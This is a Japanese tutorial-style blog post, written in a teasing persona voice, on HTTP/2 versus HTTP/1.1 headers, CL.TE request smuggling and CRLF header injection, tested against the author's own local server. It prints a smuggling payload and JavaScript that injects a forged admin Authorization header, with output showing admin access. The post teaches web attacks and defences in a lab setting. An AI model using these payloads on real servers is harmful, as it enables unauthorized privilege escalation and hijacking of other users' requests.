1. はじめに
パワーちゃん、今日はいつもと違う匂いがするね。
好奇心と、少しの焦りかな?
Webサイトを使って、脆弱性の有無をチェックしようとした試み……その姿勢は評価してあげる。
実施したこと
- HTTP/2からHTTP/1.1へリクエストを送る際の挙動確認
- 管理者権限(Authorization)の奪取・偽装
- XSS(クロスサイトスクリプティング)の試行
- ネットワークタブからのAPIキー取得の試み
ただ闇雲に噛み付くだけじゃダメだよ。相手の「仕組み」を理解して、コントロールしないと。
2. HTTPレスポンスヘッダーの解析
まずは基本だね。データの「荷札」みたいなもの。
私が君に「お座り」と言えば君が座るように、サーバーとクライアントの間にも決まりごとの言葉があるんだ。
重要な注意事項
この章で使用しているsakito.cirkit.jpは、レスポンスヘッダーの観察・学習目的のみで使用しています。
このサイトは攻撃対象ではなく、脆弱性も確認していません。
実際の攻撃実験(4章以降)は、全て自分が作成したローカル環境(localhost:8443,localhost:3000)に対してのみ行っています。
他者のサイトへの無断攻撃は犯罪です。絶対に行わないでください。
観測されたヘッダー情報
curlを使って、一般的なWebサイトにHTTP/2とHTTP/1.1でリクエストを送った結果を比較してみよう。
「外向きの綺麗な顔」と「裏側の古い素顔」、その差が見えてくるよ。
観察対象サンプル: sakito.cirkit.jp(ヘッダー構造の学習用)
HTTP/2でのリクエスト(外向き・フロントエンド)
リクエスト
> GET / HTTP/2
> Host: sakito.cirkit.jp
> User-Agent: curl/8.7.1
> Accept: */*
HTTP/2フレーム詳細
* using HTTP/2
* [HTTP/2] [1] OPENED stream for https://sakito.cirkit.jp/
* [HTTP/2] [1] [:method: GET]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority: sakito.cirkit.jp]
* [HTTP/2] [1] [:path: /]
* [HTTP/2] [1] [user-agent: curl/8.7.1]
* [HTTP/2] [1] [accept: */*]
HTTP/2では、リクエストが擬似ヘッダー(:method, :scheme, :authority, :path)としてバイナリフレームで送信される。
テキストじゃない、機械語に近い効率的な形式だね。
レスポンス
< HTTP/2 200
< content-type: text/html; charset=utf-8
< server: cloudflare
< x-xss-protection: 0
< strict-transport-security: max-age=63072000; includeSubDomains
綺麗だね。バイナリで圧縮され、複数のリクエストを並列処理できる。でもね、これはあくまで「入口」の話。
HTTP/1.1でのリクエスト(裏側・バックエンド)
リクエスト
> GET / HTTP/1.1
> Host: sakito.cirkit.jp
> User-Agent: curl/8.7.1
> Accept: */*
シンプルなテキスト形式。人間にも読めるし、書き換えも簡単だよ。
レスポンス
< HTTP/1.1 200 OK
< Date: Sun, 07 Dec 2025 03:16:02 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< strict-transport-security: max-age=63072000; includeSubDomains
< x-content-type-options: nosniff
< x-frame-options: SAMEORIGIN
< x-xss-protection: 0
< x-request-id: 4267a39e-ab97-4f82-8480-3cce4d04f6fd
< x-runtime: 0.006535
注目すべきは Transfer-Encoding: chunked と Connection: keep-alive だよ。
これらは後で説明するRequest Smuggling攻撃の鍵になる。
重要な違い
| 項目 | HTTP/2 | HTTP/1.1 |
|---|---|---|
| データ形式 | バイナリ(擬似ヘッダー) | テキスト(生のASCII) |
| ヘッダー区切り | フレーム境界 |
\r\n(CRLF) |
| データ長の指定 | フレーム長 |
Content-Length / Transfer-Encoding
|
| 接続管理 | 単一接続で多重化 | Connection: keep-alive |
この解釈の違いが、今回のDesync攻撃のつけ込みどころなんだ。
主なセキュリティヘッダーの分析
-
content-type: text/html; charset=utf-8: 「中身はHTMLだよ」という指示。 -
server: cloudflare: 誰が管理しているか。今回はCloudflareが前に立っているね。 -
x-xss-protection: 0: XSS保護が無効になっている。不用心な設定だね。 -
x-frame-options: SAMEORIGIN: クリックジャッキング対策は有効。同一オリジンでのみフレーム表示を許可している。 -
strict-transport-security: max-age=63072000; includeSubDomains: HSTS有効。HTTPSを強制している。 -
x-content-type-options: nosniff: MIMEタイプスニッフィング対策あり。 -
Transfer-Encoding: chunked(HTTP/1.1のみ): データを塊で送る方式。Content-Lengthとの組み合わせで攻撃の余地が生まれる。
重要なヘッダーの役割
- Authorization: 「ここを通る許可証を持っています」という証明。これがないと、重要な部屋には入れない。
- User-Agent: 君が誰なのか(Chromeなのか、スマホなのか)の自己紹介。
3. プロトコルの差異:HTTP/1.1 vs HTTP/2
ここが今回の肝だよ。古い言葉と新しい言葉、その認識のズレを利用するんだ。
| プロトコル | データ形式 | 通信方式 | 特徴 | 私の解釈 |
|---|---|---|---|---|
| HTTP/1.1 | テキスト | 直列 (Head-of-Line Blocking) | 毎回ヘッダーを全部送る | 人間には読めるけど、効率が悪い。何度も同じことを言わせる聞き分けのない犬みたいだね。 |
| HTTP/2 | バイナリ | マルチプレキシング (多重化) | HPACK圧縮・並列処理 | 機械的で高速。一度の指示で複数をこなす、優秀な仕組みだよ。 |
最近のWebサイトは、外向きには「優秀なHTTP/2」を使っているけど、裏側ではまだ「古いHTTP/1.1」を使っていることが多いの。 この「新旧の混在」が、今回のつけ込みどころだよ。
4. HTTP Request Smuggling (HTTP Desync Attack)
「受付には1個と言って、実は2個通す」手口
CRLFインジェクションとか化石みたいな攻撃手法だけで、基礎にはちょうど良いね。
攻撃実験環境について
ここから説明する全ての攻撃実験は、自分が作成したローカル環境(localhost:8443,localhost:3000)に対してのみ実施しています。
このデモ環境はNode.jsとExpressで構築した、脆弱性検証用の実験サーバーです。
他者のサイトやサーバーへの攻撃は違法行為です。必ず自分の管理下にある環境でのみ検証してください。
フロントエンド(プロキシなど)とバックエンド(Webサーバー)の仲が悪い……つまり、リクエストの「区切り」の解釈がズレることを利用した攻撃だね。
攻撃のメカニズム
CL.TE / TE.CL と呼ばれる手法。
- Content-Length (CL): 「データはここまで」と長さで指定する。
- Transfer-Encoding (TE): 「データはチャンク(塊)で送るよ、0が来たら終わり」と指定する。
フロントエンドが Content-Length を信じ、バックエンドが Transfer-Encoding を信じるとどうなると思う?
ホッチキスを止める人と書類を数える人の息が合わなくて、前の人の書類が次の人の書類に混ざっちゃうようなもの。
これを使えば、他人のリクエストを盗み見たり、キャッシュを汚染したり……管理者画面に無理やり入り込むこともできる。
攻撃の実践(CL.TE)
君が試したペイロードはこれだね。
POST /api/public HTTP/1.1
Host: localhost:8443
Content-Length: 4
Transfer-Encoding: chunked
5c
GET /admin HTTP/1.1
Host: localhost:3000
Authorization: Bearer admin-token-12345
0
- フロントエンドは
Content-Length: 4を見て、最初の4バイトで終わったと判断する。 - でもバックエンドは
Transfer-Encoding: chunkedを見て、全体を読み込もうとする。 - その結果、後ろにくっつけた
GET /admin ...が、次のリクエストとして処理されてしまう。
結果: Node.js環境では HPE_UNEXPECTED_CONTENT_LENGTH のようなエラーで RFC 7230 違反として弾かれたね。
Node.jsは意外とガードが堅いんだ。少し残念だった?
5. CRLFインジェクションによる制御奪取
⚠️ この攻撃も自作のローカル環境でのみ実施
以下の実験は全てlocalhost:8443の自作サーバーに対して行っています。
Smugglingがダメなら、もっと単純に「改行」を悪用する方法はどうかな。
ヘッダーの区切り文字である \r\n (CRLF) を、値の中に紛れ込ませるんだ。
攻撃コード
const maliciousHeader = 'test\r\nAuthorization: Bearer admin-token-12345\r\nX-Injected: ';
const payload =
'POST /api/login HTTP/1.1\r\n' +
'Host: localhost:8443\r\n' +
`X-Custom: ${maliciousHeader}header\r\n` + // ここに注入
'Content-Type: application/json\r\n' +
'Content-Length: 42\r\n' +
'\r\n' +
'{"username":"user","password":"password"}';
サーバー側の解釈
君が送ったのは1つのヘッダーのはずなのに、サーバーはこう解釈してしまった。
X-Custom: test
Authorization: Bearer admin-token-12345 <-- 独立したヘッダーとして認識
X-Injected: header
結果:管理者権限の奪取
生のTCPソケットを使って試行した結果、以下のレスポンスが得られたね。
[1] [BACKEND] /admin - 管理者ページアクセス
[0] [BACKEND→PROXY] レスポンス受信: 200
Authorization ヘッダーが正しく認識され、セキュリティチェックを通過した。
鍵を持っていなくても、ドアの隙間から手を入れて鍵を開けたようなものだね。
6. まとめ
- HTTP/2と1.1の混在環境は、解釈の不一致(Desync)を生みやすい。
- Request SmugglingはNode.js等の最近の環境では対策されつつあるが、構成次第ではまだ通る。
- CRLFインジェクションは、入力値の検証(サニタイズ)を怠ると、致命的な権限昇格につながる。
この知識を使って勝手なことをしちゃダメだよ?
君の手綱を握っているのは私なんだから。
この技術は、私のために役立ててくれるよね? 期待してるよ。